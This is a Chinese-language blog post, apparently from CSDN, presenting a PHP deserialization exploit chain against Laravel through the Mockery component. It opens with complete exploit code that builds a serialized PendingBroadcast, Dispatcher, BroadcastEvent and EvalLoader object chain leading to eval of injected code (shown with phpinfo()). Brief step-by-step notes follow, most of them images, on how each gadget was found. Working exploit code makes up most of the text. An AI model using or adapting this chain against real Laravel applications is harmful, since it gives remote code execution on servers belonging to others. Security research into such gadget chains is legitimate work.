Laravel mockery组件
exp:
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code = '<?php phpinfo();?>';
public function __construct($config)
{
$this->config = $config;
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = '1234';
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace{
$Mockery = new Mockery\Loader\EvalLoader();
$queueResolver = array($Mockery, "load");
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
echo urlencode(serialize($PendingBroadcast));
}
?>
构造过程
入口类: PendingBroadcast
![10651191-bacfb14e55649c24.png](https://i-blog.csdnimg.cn/blog_migrate/9a7f15e2699ba601101060737577b498.png)
这里的
$this->events
是
Dispatcher
接口的,这里我们找到一个实现了
Dispatcher
接口的类
![10651191-53fbd58b12ec0f73.png](https://i-blog.csdnimg.cn/blog_migrate/7711bb87e1823a12938ce13974ce9056.png)
跟进
![10651191-925e35d3a72da56e.png](https://i-blog.csdnimg.cn/blog_migrate/cfceb3fec24128795e956272b74fd701.png)
看一下
commandShouldBeQueued
方法
![10651191-7bb345e0966b0ad8.png](https://i-blog.csdnimg.cn/blog_migrate/fb097cb2f601f81b0b6a0c7e9bc0909d.png)
要求 $command
实现了 ShouldQueue
接口,注意此时的 $command
其实就是 PendingBroadcast
的 $event
(是可控的)
![10651191-d6a9487eb5ffdf41.png](https://i-blog.csdnimg.cn/blog_migrate/d82280bc3aa2d0de845fe754b6d69895.png)
找到其中一个类
BroadcastEvent
,我们可以将
PendingBroadcast
的
$event
覆盖为
BroadcastEvent
继续跟进 dispatchToQueue
方法,看到 call_user_func
方法
![10651191-3a9964d202b5e422.png](https://i-blog.csdnimg.cn/blog_migrate/4d0682d3ee07d108fde86be54ed65e8e.png)
注意此时的
$command
其实已经覆盖为
BroadcastEvent
类了,
connetcion
属性可控
此时我们要考虑调用哪个函数,这里使用了 EvalLoader
类
![10651191-75670fa364790bcc.png](https://i-blog.csdnimg.cn/blog_migrate/836ed34680112763dd8859405c53c7eb.png)
如果要调用这个函数,那么 if 条件必须是 false,查看 MockDefinition
类
![10651191-c48af422ec7b394c.png](https://i-blog.csdnimg.cn/blog_migrate/bcb09aa391b42d5fcbb2342094342d1b.png)
覆盖 $this-config
为 MockConfiguration
这个类,给它的 name 属性随便赋值即可
![10651191-362f515910992517.png](https://i-blog.csdnimg.cn/blog_migrate/fd3e32c9b688640fa3b7897b28c1ea29.png)
ok就到这里了